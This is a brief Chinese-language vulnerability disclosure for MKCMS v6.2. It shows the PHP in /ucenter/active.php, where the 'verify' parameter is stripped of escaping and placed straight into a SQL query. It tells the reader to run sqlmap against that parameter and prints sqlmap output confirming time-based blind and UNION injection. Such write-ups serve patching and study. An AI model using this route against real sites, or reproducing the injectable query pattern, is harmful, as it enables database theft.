MKCMS v6.2 /ucenter/active.php前台sql注入漏洞¶
一、漏洞简介¶
二、漏洞影响¶
MKCMS v6.2
三、复现过程¶
/ucenter/active.php?verify=1存在注入
/ucenter/active.php
<?php
...
$verify = stripslashes(trim($_GET['verify'])); //去掉了转义用的 $nowtime = time();
$query = mysql_query("select u_id from mkcms_user where u_question='$verify'");
$row = mysql_fetch_array($query);
...
sqlmap直接跑即可
[INFO] GET parameter 'verify' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[INFO] GET parameter 'verify' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable